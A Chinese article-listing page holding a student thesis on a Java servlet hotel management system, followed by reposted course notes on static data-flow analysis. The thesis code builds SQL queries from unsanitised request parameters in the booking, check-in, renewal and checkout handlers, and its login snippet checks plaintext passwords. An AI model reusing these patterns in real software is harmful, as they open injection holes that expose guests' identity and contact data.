分类

类型:
不限 游戏开发 计算机程序开发 Android开发 网站开发 笔记总结 其他
评分:
不限 10 9 8 7 6 5 4 3 2 1
原创:
不限
年份:
不限 2018 2019 2020

技术文章列表

  • 基于ssm的酒店管理系统设计与实现

    摘 要传统的酒店管理往往需要酒店管理人花大量时间和精力来处理顾客查询、顾客登记等事务,而错误的查询、繁琐的登记和结账手册、费用的结算错误、空余客房不能及时提供等等问题,可能导致顾客的频繁投诉,从而影响酒店的出租率。这些问题都可以通过计算机辅助系统来解决。随着计算机和信息技术的飞速发展,酒店客房的管理由传统的工作模式逐渐被信息化、网络化的现代工作模式所代替。以住宿为主的酒店假如再延用传统的管理模式,就会增加酒店管理成本和降低工作效率。在酒店客房管理中融入先进的计算机和软件技术,利用酒店客房管理系统进行管理就显得十分有意义。利用酒店客房管理系统进行管理能让管理者及时了解酒店整体情况,便于各种决策,同时也简化了管理的各种复杂操作,提高了酒店的管理效率。本文采用 Javaweb,创建一个适合实际情况的酒店客房管理系统。
    关键词:酒店客房管理;java程序设计;web前端程序设计;数据库模块;统计模块
    ABSTRACTTraditional hotel management often requires hotel managers to spend a lot of time and energy dealing with customer inquiries, customer registration and other matters, while wrong inquiries, cumbersome registration and checkout manuals, fee settlement errors, the lack of timely provision of spare rooms and other issues may lead to frequent customer complaints, thus shadowing the situation. The rental rate of the hotel. These problems can be solved by computer aided system. With the rapid development of computer and information technology, hotel room management has gradually been replaced by the traditional mode of work by the modern mode of information and network. If the traditional hotel management mode is extended, the hotel management cost will be increased and the work efficiency will be reduced. It is very meaningful to integrate advanced computer and software technology into hotel room management and make use of hotel room management system. The use of hotel room management system can enable managers to timely understand the overall situation of the hotel, facilitate decision-making, but also simplify the management of various complex operations, improve the efficiency of hotel management. In this paper, we use Javaweb to create a hotel room management system suitable for the actual situation.
    Key words: Hotel room management; Java programming; web front-end programming; interface module; statistical module
    第一章 绪论酒店客房管理系统是指一种可以提高酒店管理效率的软件或平台,一般包含前台接待、前台收银、客房管家、销售POS、餐饮管理 、娱乐管理、 公关销售、财务查询、电话计费、系统维护、经理查询、工程维修等功能模块。
    1.1 课题研究背景随着经济 的迅速发展 ,酒店业的竞争日趋激烈。酒店业内不得不进一步寻求通过扩大酒店销售、改进服务质量、降低管理成本和提升客户满意度等办法来增强酒店的核心竞争力。其中最有效的手段就是应用 现代化 信息化技术,变革传统意义上的酒店业经营管理模式,跟上时代竞争的步伐。考虑到酒店业务的不断提升和用户需求的日益多样化,尽量满足酒店的个性化需求,同时吸收了同类产品及现有软件系统的优点,力争设计成为一套先进适用的酒店管理软件系统,为顾客提供更加便捷的信息化服务,为酒店管理者、决策者提供准确及时的酒店经营信息,以达到酒店节约经营成本、提高经营质量和经济效益的信息化管理目标。
    1.1.1 酒店客房管理现状在商场如战场,时间就是金钱的当今社会,只有不断提高经营效率、更新管理模式、及时把握企业的经营状况才能提高自身竞争力,才能使自己立于不败之地。随着现代信息技术的普及,越来越多的商家开始采用计算机来管理自己的业务。在应用之余,总希望有好的业务管理软件来帮助他们提高工作效益和管理水平。 
    随着我国旅游业的发展,酒店信息管理系统在此方面的需求相应的更多一些。以前的管理以人工方式处理大量的酒店客户登记、结账及一些管理工作,不可避免的增加了管理的工作量,同时也易造成人为错误,给管理者带来了不必要的麻烦和损失。 
    为了解决上述问题,使酒店客房管理更系统和便捷,准确而高效地开发数据库管理系统,使用户在实际工作中得心应手,就显得尤为重要。而本系统正是在这种时代背景下设计开发的。
    随着计算机和信息技术的飞速发展,传统的 酒店客房管理 模式逐渐被信息化的现代 酒店客房管理 模式所代替。传统的酒店管理往往令管理者花大量的人力和物力以满足各种繁琐的经营活动的需要,例如冗长的登记和结账手续、手工记录所有客房状态、列表统计顾客消费情况等。这种工作模式不但效率低下,且极易出现错误和遗漏,有时甚至会导致严重的经济损失,给酒店的经营带来负面影响。
    1.1.2 课题研究的意义管理信息系统(Management Information System简称MIS)是信息科学的一个分支,是由人、计算机和数据库组成的能进行信息的收集、传递、储存、加工、维护和使用的系统。而酒店计算机管理系统是MIS中的一个重要分支。近年来,随着我国改革开放的发展,国内的酒店业得到了飞速发展。现代酒店作为一个对外来人员的接待场所,是一个城市的窗口。对一个以旅游行业为支柱产业的城市而言,酒店有着举足轻重的作用。作为一种以服务为主的无烟工业,世界各国对此行业的重视程度并不亚于其它工业。酒店在其运行期间,服务水平的高低,直接影响到酒店的形象和声誉,如:服务的安排、调度是否周到;客人的要求是否能很好地得到满足;市场的预测分析是否快捷、准确等。这其中的核心就是对每天大量的信息(客人、费用、房间等)的正确处理和保存。采用计算机这一现代化工具作为管理的辅助手段是必须的。计算机的应用包括OA(办公自动化)、MIS(管理信息系统)、CAD(计算机辅助设计)等,酒店的计算机系统正是典型的MIS应用。而本酒店管理信息系统,是针对酒店的具体业务而开发的,业务管理以酒店的客房管理为核心,为用户提供迅速、高效的服务,减免手工处理的繁琐与误差,及时、准确地反映酒店的工作情况、经营情况,从而提高酒店的服务质量,并配合现代化的酒店管理,获得更好的经济效益。并具有如下几个特点:间接性的,其经济效益不是直接产生的,是通过对人力、物力的节省而带来的,可以堵塞许多漏洞;长期性的,计算机的投资是较大的,是在长期的应用中逐步得到回报的;社会效益,酒店是一个高层次的服务行业,采用计算机可提高服务质量,有良好的社会形象。
    对酒店整个来说,对酒店经营状况起决定作用的是酒店的服务管理水平。如何利用先进的管理手段来提高酒店的管理水平成为酒店业务发展的当务之急。面对信息时代的机遇和挑战,利用科技手段提高酒店的管理无疑是一条行之有效的途径。虽然计算机管理并不是酒店管理走向成功的关键元素,但它可以最大限度地发挥准确、快捷、高效等作用,对酒店的业务管理提供强有力的支持。因此,采用全新的计算机网络和酒店业务管理系统,已成为提高酒店的管理效率,使作业人员与管理系统之间灵活互动,实现流畅的工作流衔接,帮助酒店有效地进行业务管理,释放最大价值。酒店业务管理系统在达到在节省人力资源成本的同时,可以提高业务效率,并能够及时、准确、迅速地满足顾客服务的需求。
    1.2 国内外现状与发展趋势酒店管理系统最开始的时候是在美国,大约在六十年代末,如Ecoo系统,基本实现了酒店管理的给你,如预定、结账、餐厅、客房等模块,由于当时没有PC,所以整个系统都是在集中式的小型机上管理。
    前些年国内的酒店管理系统之所以不成气候,就是因为网络信息化技术不够,从而影响了酒店的业绩。之后,国内外的计算机技术,网络平台,新型技术点不断传入国内。国内的酒店管理系统才开始发展起来。
    现今,酒店的电脑管理和网络技术的日益提升,电脑网络服务日益昌盛。因此,在经济效益上取得了突飞猛进的进展。国家建设部门的规定中已经包含星级酒店的设计方案中必须包含电脑管理系统。这就是网络化的体现。
    1.3 论文结构和内容
    第一章,结合酒店管理系统发展的现状,介绍酒店管理系统发展背景、课题研究意、以及在国内外现状与发展趋势
    第二章,介绍本次项目所运用到的主要、核心技术,以及他们各自的特点
    第三章,利用场景分析等软件工程需求分析方法[9],进行项目各个功能模块的进行需求分析
    第四章,通过E-R图、数据流图等图表与文字来陈述本次总体设计和数据库设计
    第五章,详细叙述本系统各个数据库各个模块的组成及实现结果
    第六章,详细叙述本系统各个功能模块具体的功能以及实现结果

    第二章 相关技术简介2.1 javaJava是一门面向对象编程语言,不仅吸收了C++语言的各种优点,还摒弃了C++里难以理解的多继承、指针等概念,因此Java语言具有功能强大和简单易用两个特征。Java语言作为静态面向对象编程语言的代表,极好地实现了面向对象理论,允许程序员以优雅的思维方式进行复杂的编程。
    Java具有简单性、面向对象、分布式、健壮性、安全性、平台独立与可移植性、多线程、动态性等特点。Java可以编写桌面应用程序、Web应用程序、分布式系统和嵌入式系统应用程序等。
    Java看起来设计得很像C++,但是为了使语言小和容易熟悉,设计者们把C++语言中许多可用的特征去掉了,这些特征是一般程序员很少使用的。例如,Java不支持go to语句,代之以提供break和continue语句以及异常处理。Java还剔除了C++的操作符过载(overload)和多继承特征,并且不使用主文件,免去了预处理程序。因为Java没有结构,数组和串都是对象,所以不需要指针。Java能够自动处理对象的引用和间接引用,实现自动的无用单元收集,使用户不必为存储管理问题烦恼,能更多的时间和精力花在研发上
    2.2 servlrtServlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容。
    狭义的Servlet是指Java语言实现的一个接口,广义的Servlet是指任何实现了这个Servlet接口的类,一般情况下,人们将Servlet理解为后者。Servlet运行于支持Java的应用服务器中。从原理上讲,Servlet可以响应任何类型的请求,但绝大多数情况下Servlet只用来扩展基于HTTP协议的Web服务器。
    最早支持Servlet标准的是JavaSoft的Java Web Server,此后,一些其它的基于Java的Web服务器开始支持标准的Servlet。
    2.3 HTML超文本标记语言(Hyper Text Markup Language),标准通用标记语言下的一个应用。HTML 不是一种编程语言,而是一种标记语言 (markup language),是网页制作所必备的。“超文本”就是指页面内可以包含图片、链接,甚至音乐、程序等非文字元素。超文本标记语言(或超文本标签语言)的结构包括“头”部分、和“主体”部分,其中“头”部提供关于网页的信息,“主体”部分提供网页的具体内容。
    超级文本标记语言是标准通用标记语言下的一个应用,也是一种规范,一种标准,它通过标记符号来标记要显示的网页中的各个部分。网页文件本身是一种文本文件,通过在文本文件中添加标记符,可以告诉浏览器如何显示其中的内容(如:文字如何处理,画面如何安排,图片如何显示等)。浏览器按顺序阅读网页文件,然后根据标记符解释和显示其标记的内容,对书写出错的标记将不指出其错误,且不停止其解释执行过程,编制者只能通过显示效果来分析出错原因和出错部位。但需要注意的是,对于不同的浏览器,对同一标记符可能会有不完全相同的解释,因而可能会有不同的显示效果。
    2.4 JavaScriptJavaScript一种直译式脚本语言,是一种动态类型、弱类型、基于原型的语言,内置支持类型。它的解释器被称为JavaScript引擎,为浏览器的一部分,广泛用于客户端的脚本语言,最早是在HTML(标准通用标记语言下的一个应用)网页上使用,用来给HTML网页增加动态功能。
    在1995年时,由Netscape公司的Brendan Eich,在网景导航者浏览器上首次设计实现而成。因为Netscape与Sun合作,Netscape管理层希望它外观看起来像Java,因此取名为JavaScript。但实际上它的语法风格与Self及Scheme较为接近。[1]
    为了取得技术优势,微软推出了JScript,CEnvi推出ScriptEase,与JavaScript同样可在浏览器上运行。为了统一规格,因为JavaScript兼容于ECMA标准,因此也称为ECMAScript。
    2.5 CSS层叠样式表(英文全称:Cascading Style Sheets)是一种用来表现HTML(标准通用标记语言的一个应用)或XML(标准通用标记语言的一个子集)等文件样式的计算机语言。CSS不仅可以静态地修饰网页,还可以配合各种脚本语言动态地对网页各元素进行格式化。[1]
    CSS 能够对网页中元素位置的排版进行像素级精确控制,支持几乎所有的字体字号样式,拥有对网页对象和模型样式编辑的能力。
    2.6 myeclipseMyEclipse企业级工作平台(MyEclipseEnterprise Workbench ,简称MyEclipse)是对EclipseIDE的扩展,利用它我们可以在数据库和JavaEE的开发、发布以及应用程序服务器的整合方面极大的提高工作效率。它是功能丰富的JavaEE集成开发环境,包括了完备的编码、调试、测试和发布功能,完整支持HTML,Struts,JSP,CSS,Javascript,Spring,SQL,Hibernate [1] 。
    MyEclipse 是一个十分优秀的用于开发Java, J2EE的 Eclipse 插件集合,MyEclipse的功能非常强大,支持也十分广泛,尤其是对各种开源产品的支持十分不错。MyEclipse可以支持Java Servlet,AJAX,JSP,JSF,Struts,Spring,Hibernate,EJB3,JDBC数据库链接工具等多项功能。可以说MyEclipse是几乎囊括了目前所有主流开源产品的专属eclipse开发工具。
    第三章 需求分析3.1 系统目标本系统需要满足以下几个系统设计目标:

    实用性原则:真正为酒店工作人员的实际工作服务,按照酒店客房管理工作的实际流程,设计出实用的酒店客房管理系统
    安全性原则:必须为酒店客房提供信息安全的服务,以保证酒店信息的不被泄露
    可操作性原则:本酒店客房管理系统面向的是酒店内工作人员,所以系统操作上要求简单、方便、快捷,便于用户使用
    可扩展性原则:采用开发的标准和接口,便于系统向更大的规模和功能扩展。

    3.2 系统需求根据酒店客房管理系统的理念,此酒店客房管理系统必须满足以下需求:

    具有设置酒店客房类型和房间信息的功能
    能快速、准确地了解酒店的客房状态,以便订房和退房
    提供多种手段查询客房订房信息
    提供修改订房和修改退房功能
    提供简单的酒店工作人员的添加住户和续费房间功能

    3.3 功能需求
    利用系统设置中的登录模块可以进行管理员登录
    客房管理模块主要是对客房进行设置和查询
    预定管理模块主要是对住宿登记、住房时间、房间类型和住户信息
    入住模块主要对客户预定好房间来登记入住开始
    挂账查询模块主要是对挂账和客户结款进行查询、调房登记、续费房间和退宿结账进行管理
    查询统计模块主要是对住宿、退宿进行查询以及对宿费进行提醒
    日结模块主要是对登记预收、客房销售进行报表管理以及对客房销售进行统计
    数据库模块是对客房信息、住户信息和收入信息的统计,不易丢失
    系统维护主要是对数据备份和恢复进行维护

    3.4 系统性能需求为了保证系统能够长期、安全、稳定、可靠、高效的运行,系统应该满足以下的性能需求:
    3.4.1 系统处理的准确性和及时性系统处理的准确性和及时性是系统的必要性能。在系统设计和开发过程中,要充分考虑系统当前和将来可能承受的工作量,使系统的处理能力和响应时间能够满足用户对信息的处理。由于系统的查询功能对于整个系统的功能和性能完成很重要。从系统的多个数据来源来看, 客房信息查询、订房 信息查询、 结算 信息查询,其准确性很大程度上决定了系统的成败。
    因此,在系统开发过程中,系统采用优化的 SQL 语句及安全扩展存储过程来保证系统的准确性和及时性。
    3.4.2 系统的开放性和系统的可扩充性系统在开发过程中,应该充分考虑以后的可扩充性。例如 系统权限和客房信息设置 等模块也会不断的更新和完善。所 有这些 都要求系统提供足够的手段进行功能的调整和扩充。而要实现这一点,应通过系统的开放性来完成,既系统应是一个开放系统,只要符合一定的规范,可以简单的加入和减少系统的模块,配置系统的硬件。通过软件的修补、替换完成系统的升级和更新换代。
    3.4.3 系统的可操作性本酒店客房管理系统面向的用户是酒店内工作人员, 而有些使用人员往往对计算机并不是非常熟悉 ,所以系统操作上要求简单、方便、快捷,便于用户使用。 这就要求系统能够提供良好的用户接口,易用的人机交互界面。
    3.4.4 系统的响应速度系统设计中摒弃大量数据冗余,提出了优化数据库的解决方案,大量使用存储过程,大大提高系统响应时间和速度。系统在日常处理中的响应速度为秒级, 达到实时要求,以及时反馈信息。严格保证操作人员不会因为速度问题而影响工作效率。
    3.4.5 开发技术本系统利用myeclipse、Tomcat编译环境,采用可视化编程,以 SQLsever作为后台数据库。

    计算机及操作系统: Windows10
    开发工具:myeclipse
    运行环境 : javaJDK
    语言: java,HTML,JavaScript 与 SQL 查询语言

    第四章 系统总体功能4.1 系统功能结构
    4.2 系统功能流程图
    第五章 数据库设计5.1 数据库定义数据库名为:db,登录用户名为sa,口令默认为********。该登录用户的服务器脚色是“sysadmin”,具有数据库db的任何权限。
    5.2 数据库表下面数据表中,标记为“*”的是主键,标记为“#”的为外键。其它的缩写为:VC:varchar、NC:nchar、NVC:nvarchar。
    表1、操作人员 usertab




    字段名称
    类型大小

    说明
    举例




    1
    uid
    VC(20)
    ×
    操作者帐号
    4-20位,数字字母


    2
    upwd
    NVC(20)
    ×
    操作者姓名
    2-10位字符或汉字



    “系统管理”用户可以增改操作人员,授予操作权限,以及全部的维护与浏览权限。
    表2、酒店房间 room




    字段名称
    类型大小

    说明
    举例




    1
    roomNumber*
    Char(6)
    ×
    酒店房间编号
    0001,0002


    2
    roomType#
    VC(32)
    ×
    酒店房间类型
    单人间,双人间


    3
    price
    VC(32)
    ×
    酒店房间价格
    200,300



    酒店房间规定了房间号,类型,价格方便查找顾客需要的房间与剩余房间查询。
    表3、酒店房间类型与价格 roomTypeAndPrice




    字段名称
    类型大小

    说明
    举例




    1
    roomType#
    VC(32)
    ×
    酒店房间类型
    单人间,双人间


    2
    price
    Int
    ×
    酒店房间价格
    200,300



    方便查看酒店类型与价格。
    表4、顾客信息表 customers




    字段名称
    类型大小

    说明
    举例




    1
    customerIDCard*
    char(18)
    ×
    顾客身份证号码
    18位身份证号


    2
    customerGender
    Char(4)
    ×
    顾客性别
    女,男


    3
    customerName
    VC(16)
    ×
    顾客姓名
    *


    4
    customerPhoneNumber
    char(11)
    ×
    顾客手机号码
    11位手机号码


    5
    totalAmount
    int

    消费金额
    200,300



    记录顾客信息,并且及时更新。
    表5、入住信息表 orders




    字段名称
    类型大小

    说明
    举例




    1
    orderNumber*
    int
    ×
    订单号
    1,2,3


    2
    orderStatus
    VC(50)
    ×
    订单状态
    预订中,已入住,已退房


    3
    customerIDCard#
    char(18)
    ×
    顾客身份证号
    18位身份证号


    4
    roomNumber#
    char(6)
    ×
    酒店房间编号
    0001,0002


    5
    roomType#
    VC(32)
    ×
    酒店房间类型
    单人间,双人间


    6
    checkInTime
    date
    ×
    入住时间
    2019-7-1


    7
    checkOutTime
    date
    ×
    离店时间
    2019-7-2


    8
    totalMoney
    int
    ×
    需付金额
    200


    9
    orderTime
    date
    ×
    预定时间
    2019-7-1



    记录房间状态。方便预定,退订和更改房间状态。
    表6、房间延期表 timeExtension




    字段名称
    类型大小

    说明
    举例




    1
    operatingID*
    int
    ×
    操作记录号
    1,2,3


    2
    orderNumber
    int
    ×
    操作的订单号
    1,2,3


    3
    oldExpiryDate
    date
    ×
    住房原到期日期
    2019-7-1


    4
    newExpiryDate
    date
    ×
    住房新到期日期
    2017-7-2


    5
    addMoney
    int
    ×
    需要添加的金额
    200,300



    方便操作预定房间过程中出现的问题。
    5.3 视图的定义视图命名格式为View_***。特别指出,在一个视图B依存另个视图A时,必须先创建视图A,然后才创建视图B。此时,在试图命名时必须按视图名称A排序在前。例如:



    序号
    视图名称
    说明




    1
    View_incomeView
    收入视图


    2
    View_roomInfoView
    房间视图


    3
    View_orderview
    订单视图



    第六章 各功能模块6.1 系统总体结构设计如下图所示,整个酒店管理系统包含三个模块:

    bean模块:用户可以使用JavaBean将功能、处理、值、数据库访问和其他任何可以用java代码创造的对象进行打包,并且其他的开发者可以通过内部的JSP页面、Servlet、其他JavaBean、applet程序或者应用来使用这些对象。用户可以认为JavaBean提供了一种随时随地的复制和粘贴的功能,而不用关心任何改变
    servlet模块:客户端发送请求至服务器;服务器启动并调用 Servlet,Servlet 根据客户端请求生成响应内容并将其传给服务器;服务器将响应返回客户端
    WebRoot模块:是JAVA WEB项目中用来存放JSP,JS,CSS,图片等文件的,其中webroot/WEB-INF用来存放SRC编译好的相关的文件,和需要被保护的JSP文件等










    项目结构1
    项目结构2



    6.2 软件界面设计6.2.1 登录界面设计

    String username = request.getParameter("user");String upwd = request.getParameter("pwd");PrintWriter out = response.getWriter();Connection conn;try { Class.forName(driverName); try{ conn = DriverManager.getConnection(url,user,pwd); String sql = "select *from usertab where uid = ?"; PreparedStatement ps = conn.prepareStatement(sql); ps.setString(1, username); ResultSet rs = ps.executeQuery(); String mima = ""; while(rs.next()){ mima = rs.getString("upwd").trim(); } if(mima.equals(upwd)){ HttpSession session = request.getSession(); session.setAttribute("un", username); out.println("true");
    通过数据库中储存的管理员信息,进行验证并且登录进入酒店管理系统。
    6.2.2 用户预定界面设计

    String sql_customer = "insert customers values('"+customerIDCard+"','"+customerGender+"','"+customerName+"','"+customerPhoneNumber+"',"+price+")";String sql_orders = "insert orders values('"+orderStatus+"','"+customerIDCard+"','"+roomNumber+"','"+roomType+"','"+checkinTime+"','"+checkOutTime+"',"+price+",'"+orderTime+"')";try { Class.forName(driverName); try { conn = DriverManager.getConnection(url,user,pwd); Statement st = conn.createStatement(); st.executeUpdate(sql_customer); st.executeUpdate(sql_orders); System.out.print("插入成功!");
    利用数据库SQL语句进行客户的插入,并且将数据储存到数据库中。
    6.2.3 用户入住界面设计

    String sql_leave = "update orders set orderStatus = '已入住' where orders.customerIDCard = '"+customerIDCard+"'";String sql_query = "select * from orders where customerIDCard = '"+customerIDCard+"'";Connection conn = null;try { Class.forName(driverName); try { conn = DriverManager.getConnection(url,user,pwd); Statement st = conn.createStatement(); st.execute(sql_leave); ResultSet rs = st.executeQuery(sql_query); List<Map> list = new ArrayList<Map>(); while(rs.next()){ String orderNumber = rs.getString("orderNumber"); String orderStatus = rs.getString("orderStatus"); customerIDCard = rs.getString("customerIDCard"); String roomNumber = rs.getString("roomNumber"); String checkInTime = rs.getString("checkInTime"); String checkOutTime = rs.getString("checkOutTime"); String totalMoney = rs.getString("totalMoney"); String orderTime = rs.getString("orderTime"); Map e = new HashMap(); e.put("orderNumber", orderNumber); e.put("orderStatus",orderStatus); e.put("customerIDCard", customerIDCard); e.put("roomNumber",roomNumber); e.put("checkInTime",checkInTime); e.put("checkOutTime",checkOutTime); e.put("totalMoney",totalMoney); e.put("orderTime",orderTime); list.add(e);
    通过SQL语句将预定的顾客状态改为入住,并储存到数据库中。
    6.2.4 用户续费界面设计

    String addDay = request.getParameter("addDay");String sql = "declare @addMoney int,@orderNumber int,@oldExpiryTime date,@newExpiryTime date exec dbo.getPrice '"+roomNumber+"',"+addDay+",@addMoney output,@orderNumber output,@oldExpiryTime output,@newExpiryTime output select @addMoney as addMoney,@orderNumber as orderNumber,@oldExpiryTime as oldExpiryTime,@newExpiryTime as newExpiryTime";Connection conn = null;try { Class.forName(driverName); try { conn = DriverManager.getConnection(url,user,pwd); Statement st = conn.createStatement(); ResultSet rs = st.executeQuery(sql); List<Map> list = new ArrayList<Map>(); while(rs.next()){ String addMoney = rs.getString("addMoney"); String orderNumber = rs.getString("orderNumber"); String oldExpiryTime = rs.getString("oldExpiryTime"); String newExpiryTime = rs.getString("newExpiryTime"); Map e = new HashMap(); e.put("addMoney", addMoney); e.put("orderNumber",orderNumber); e.put("oldExpiryTime",oldExpiryTime); e.put("newExpiryTime",newExpiryTime); list.add(e); }
    6.2.5 用户退房界面设计

    String sql_leave = "update orders set orderStatus = '已退房' where orders.customerIDCard = '"+customerIDCard+"'";String sql_query = "select * from orders where customerIDCard = '"+customerIDCard+"'";Connection conn = null;try { Class.forName(driverName); try { conn = DriverManager.getConnection(url,user,pwd); Statement st = conn.createStatement(); st.execute(sql_leave); ResultSet rs = st.executeQuery(sql_query); List<Map> list = new ArrayList<Map>(); while(rs.next()){ String orderNumber = rs.getString("orderNumber"); String orderStatus = rs.getString("orderStatus"); customerIDCard = rs.getString("customerIDCard"); String roomNumber = rs.getString("roomNumber"); String checkInTime = rs.getString("checkInTime"); String checkOutTime = rs.getString("checkOutTime"); String totalMoney = rs.getString("totalMoney"); String orderTime = rs.getString("orderTime"); Map e = new HashMap(); e.put("orderNumber", orderNumber); e.put("orderStatus",orderStatus); e.put("customerIDCard", customerIDCard); e.put("roomNumber",roomNumber); e.put("checkInTime",checkInTime); e.put("checkOutTime",checkOutTime); e.put("totalMoney",totalMoney); e.put("orderTime",orderTime); list.add(e); }
    6.2.6 收入视图界面设计
    6.2.7 订单视图界面设计
    6.2.8 房间视图界面设计
    6.2.9 续费视图界面设计
    各个视图
    String sql_order = "select * from orderView";//订单视图查询语句String sql_roomInfoView = "select * from roomInfoView";//房间信息视图String sql_timeExtension = "select * from timeExtensionOrdersView";//续费订单视图
    6.2.10 其他各小功能界面设计
    6.3 软件系统编程在编程中,采用的一种Javaweb体系,主要分为3大层次结构,但由于编写方便,本设计在编程另外增加了一个工具层,用于给其他各层提供编写方便,如图4-16为系统编程的3大层次,底层为3大模块,有数据库直接操作,文件直接操作,网络接口直接操作;中层为后台操作层,主要做数据处理和上下层的连接工作,软件工作的核心在于中层的后台操作,界面层主要通过后台提供的数据接口来绘制各种窗口及动画过程。最顶层为界面层,分为5大主界面编程。为了达到软件美观的效果,本设计用到了一些图片美化软件,这些都是很细致的活,美化的图片必需与软件编程时的控件相结合,有时还真是一个个像素点的修正,可以在上面的各图中看出背景与控件的适应性都还不错。
    系统统计总共有60多个java程序,总代码量过万,此次的酒店管理系统编程运用了很多Javaweb新知识,例如servlet,数据库批处理技术,图片缓存技术,等等。
    第七章 调试与结果7.1 初始化系统登录尽管在软件工程科学的方法指导下完成了系统的设计与开发,但是由于软件系统是一个关系紧密且复杂的逻辑系统,因此仅凭严格的设计以及严格的开发流程并不能够完全确保系统不会出现任何缺陷。不存在缺陷的系统是不可能存在的,但是通过软件测试,我们能够尽可能多的在软件系统投入使用前发现目前存在的缺陷并对缺陷进行修复。软件测试与维护这个生命周期是软件生命周期中最长的亦是最重要的,这不仅保证了系统的稳定性以及满足预定的需求,也能够使得软件生命得到延续。因此,通过软件测试对系统进行评估,找到其中隐藏的缺陷并对其加以修复是很有必要的。
    软件测试是为了完善系统质量的技术,通过翻阅书籍,发现大多对软件测试的定义为使用人工或自动的手段来运行某个系统的过程,其目的在于检验它是否满足规定的需求,或是弄清预期结果与实际结果的区别。
    系统登录时,输入数据库中录入的管理人员账号及密码;


    登录成功。
    7.2 住房查询前提:管理人员已经登录。



    测试步骤
    预期结果
    实际结果
    是否通过




    1.进入酒店管理页面 2.进行输入身份证号码入住
    显示入住成功的信息
    显示该身份证号定的房间是已入住状态
    通过


    1. 进入酒店管理页面 2. 选择“订房”
    显示该客户订房成功
    数据库中储存该客户
    通过


    1. 进入酒店管理页面 2. 选择“退订”
    显示该客户退房成功
    数据库中显示该客户已退订
    通过



    参考文献
    [1] 郑人杰,殷人昆,陶永雷.实用软件工程(第二版)[M].北京:清华大学出版社.1997.
    [2] 萨师煊,王珊.数据库系统概论[M].高等教育出版社,2000.7:21-347.
    [3] (美)Bruce Eckel、陈昊鹏、饶若楠等.Java编程思想第3版[M].北京:机械工业出版社.2005.
    [4]候炳辉,刘世峰.信息管理系统[J].信息管理系统分析,2004.5:254-562.
    [5] 彭伟民.基于需求的酒店管理系统的建模与实现.微机发展,2005.10.1-6.
    [6] 薛华成.管理信息系统[M].清华大学出版社,1996.7.2-5.
    [7] 《java核心技术》机械工业出版社(美国)Cay Shorstmann,Gary Cornell著由 叶乃文 翻译。
    [8] 张亚东.酒店企业销售管理信息系统的设计与实现[J].管理信息系统, 2000.9:45249.
    [9] 《java 学习笔记 JDK6.0》清华大学出版社(台湾)良格葛编写。
    1 留言 2020-06-23 12:40:13 奖励66点积分
  • 【课程笔记】南大软件分析课程3——数据流分析应用


    最近在看“静态分析”技术相关的文章,看到这个系列的笔记和视频教程,感觉介绍得很好,通俗易懂,而且还比较详细,故转载分享,同时也备份保留下,方便自己今后阅读。(PS:建议大家一边看笔记,一边看视频,加深理解)原作者:bsauce原文链接:https://www.jianshu.com/p/45eb5e5565d5

    首先非常感谢南京大学李樾和谭添老师的无私分享,之前学习程序分析是看的北大熊英飞老师的ppt,但是很多地方没看懂,正如李樾老师所说的那样,熊英飞老师的授课涵盖非常广,不听课只看ppt的话,理解起来还是很有难度的。但李樾老师的视频就讲解的非常易懂,示例都是精心挑选的,所以墙裂推荐。
    推送门:南大课件 南大视频课程 北大课件

    目录
    数据流分析总览预备知识Reaching Definitions Analysis (may analysis)Live Variables Analysis (may analysis)Available Expressions Analysis (must analysis)
    重点
    理解3种数据流分析的含义,如何设计类似的算法,如何优化理解种数据流分析的共性与区别理解迭代算法并弄懂算法为什么能停止

    1.数据流分析总览
    may analysis:输出可能正确的信息(需做over-approximation优化,才能成为Safe-approximation安全的近似,可以有误报-completeness),注意大多数静态分析都是may analysis
    must analysis:输出必须正确的信息(需做under-approximation优化,才能成为Safe-approximation安全的近似,可以有漏报-soundness)

    Nodes (BBs/statements)、Edges (control flows)、CFG (a program)
    例如:

    application-specific Data <- abstraction (+/-/0)
    Nodes <- Transfer function
    Edges <- Control-flow handling

    不同的数据流分析 有 不同的数据抽象表达 和 不同的安全近似策略,如 不同的 转换规则 和 控制流处理。

    2.预备知识输入/输出状态:程序执行前/执行后的状态(本质就是抽象表达的数据的状态,如变量的状态)。
    数据流分析的结果:最终得到,每一个程序点对应一个数据流值(data-flow value),表示该点所有可能程序状态的一个抽象。例如,我只关心x、y的值,我就用抽象来表示x、y所有可能的值的集合(输入/输出的值域/约束),就代表了该程序点的程序状态。

    控制流约束:约束求解做的事情,推断计算输入到输出,或反向分析。

    3.Reaching Definitions Analysis (may analysis)问题定义:给变量v一个定义d(赋值),存在一条路径使得程序点p能够到达q,且在这个过程中不能改变v的赋值。
    应用举例:检测未定义的变量,若v可达p且v没有被定义,则为未定义的变量。
    抽象表示:设程序有n条赋值语句,用n位向量来表示能reach与不能reach。
    (1)公式分析什么是definition? D: v = x op y 类似于赋值。
    Transfer Function:OUT[B]=genBU(IN[B]−killB)OUT[B] = gen_B U (IN[B] - kill_B)OUT[B]=gen​B​​U(IN[B]−kill​B​​) ——怎么理解,就是基于转换规则而得到。
    解释:基本块B的输出 = 块B内的所有变量v的定义(赋值/修改)语句 U (块B的输入 - 程序中其它所有定义了变量v的语句)。本质就是本块与前驱修改变量的语句 作用之和(去掉前驱的重复修改语句)。
    Control Flow:IN[B]=Upa predecesso of BOut[P]IN[B] = U_{p_{a \space predecesso \space of \space B}} Out[P]IN[B]=U​p​a predecesso of B​​​​Out[P] ——怎么理解,就是基于控制流而得到。
    解释:基本块B的输入 = 块B所有前驱块P的输出的并集。注意,所有前驱块意味着只要有一条路径能够到达块B,就是它的前驱,包括条件跳转与无条件跳转。

    (2)算法目的:输入CFG,计算好每个基本块的killB(程序中其它块中定义了变量v的语句)和genB(块B内的所有变量v的定义语句),输出每个基本块的IN[B]和OUT[B]。
    方法:首先所有基本块的OUT[B]初始化为空。遍历每一个基本块B,按以上两个公式计算块B的IN[B]和OUT[B],只要这次遍历时有某个块的OUT[B]发生变化,则重新遍历一次(因为程序中有循环存在,只要某块的OUT[B]变了,就意味着后继块的IN[B]变了)。

    (3)实例抽象表示:设程序有n条赋值语句,用n位向量来表示能reach与不能reach。
    说明:红色-第1次遍历;蓝色-第2次遍历;绿色-第3次遍历。
    结果:3次遍历之后,每个基本块的OUT[B]都不再变化。

